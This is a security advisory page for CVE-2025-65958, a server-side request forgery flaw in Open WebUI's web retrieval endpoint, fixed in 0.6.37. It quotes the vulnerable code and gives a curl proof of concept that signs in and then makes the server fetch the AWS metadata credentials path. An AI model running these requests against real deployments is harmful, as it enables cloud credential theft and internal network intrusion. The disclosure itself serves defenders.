CVE-2025-65958
JSON

8.5high

Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web

Severity
8.5high CVSS:3.1 by GitHub_M
Exploit likelihood
4.71% (higher than 92% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-c6xv-rcvw-v685PYSEC-2026-1726

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required. This vulnerability is fixed in 0.6.37.

Affected

Product or packageVersionsReported by
open-webui open-webui< 0.6.37CVE List
open-webui (PyPI)before 0.6.37GitHub Advisory Database, PyPA Advisory Database
openwebui open_webuibefore 0.6.37NVD

All scores

GitHub_M8.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
GitHub8.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
NVD7.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
PyPA Advisory Database8.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Classification

CWE-918

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required. This vulnerability is fixed in 0.6.37.

GitHub Advisory Database
Summary

A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.

Details

The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.

Vulnerable code: @router.post("/process/web") def process_web( request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user) ): try: collection_name = form_data.collection_name if not collection_name: collection_name = calculate_sha256_string(form_data.url)[:63]

      content, docs = get_content_from_url(request, form_data.url)  # ← SSRF vulnerability

The form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:

Call chain:

  1. retrieval.py:1767 → get_content_from_url(request, form_data.url)
  2. retrieval/utils.py:77 → get_loader(request, url)
  3. retrieval/utils.py:62 → get_web_loader(url, ...) or YoutubeLoader(url, ...)
  4. Both loaders fetch the user-supplied URL without validation

No validation is performed for:

  • Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • Localhost addresses (127.0.0.0/8)
  • Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)
  • Protocol restrictions (file://, gopher://, etc.)
  • Domain allowlisting
PoC

Prerequisites: Valid user account (any role)

Step 1 - Authenticate: TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin"
-H 'Content-Type: application/json'
-d '{"email":"user@example.com","password":"password"}'
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 2 - Basic SSRF Test (external URL): curl -s "http://localhost:3000/api/v1/retrieval/process/web"
-H "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/json'
-d '{"url":"http://example.com"}'

Result: Server fetches example.com and returns its content, proving the vulnerability.

{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }

Step 3 - Advanced Attack (AWS metadata): curl -s "http://localhost:3000/api/v1/retrieval/process/web"
-H "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/json'
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Result: Server exposes cloud credentials if running on AWS/GCP/Azure.

Other attack examples:

Impact

Who is affected: All authenticated users (no special permissions required)

Attack capabilities:

  1. Cloud Environment Compromise - Steal AWS/GCP/Azure credentials via metadata endpoints - Result: Full cloud account takeover
  2. Internal Network Access - Bypass firewalls to access internal services (databases, admin panels, APIs) - Port scan and map internal infrastructure - Result: Complete network visibility
  3. Data Exfiltration - Read internal documentation, configurations, secrets - Access Kubernetes API servers - Result: Credential theft, API key exposure
NVD (es)

Open WebUI es una plataforma de inteligencia artificial autoalojada diseñada para operar completamente sin conexión. Versiones anteriores a 0.6.37, una vulnerabilidad de Server-Side Request Forgery (SSRF) en Open WebUI permite a cualquier usuario autenticado forzar al servidor a realizar peticiones HTTP a URLs arbitrarias. Esto puede ser explotado para acceder a endpoints de metadatos en la nube (AWS/GCP/Azure), escanear redes internas, acceder a servicios internos detrás de firewalls y exfiltrar información sensible. No se requieren permisos especiales más allá de la autenticación básica. Esta vulnerabilidad está corregida en 0.6.37.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-65958 changed 2025-12-08CVE Terms of Use
GitHub Advisory DatabaseGHSA-c6xv-rcvw-v685 changed 2026-07-07CC-BY-4.0
NVDCVE-2025-65958 changed 2026-10-18Public domain
PyPA Advisory DatabasePYSEC-2026-1726 changed 2026-07-07CC-BY-4.0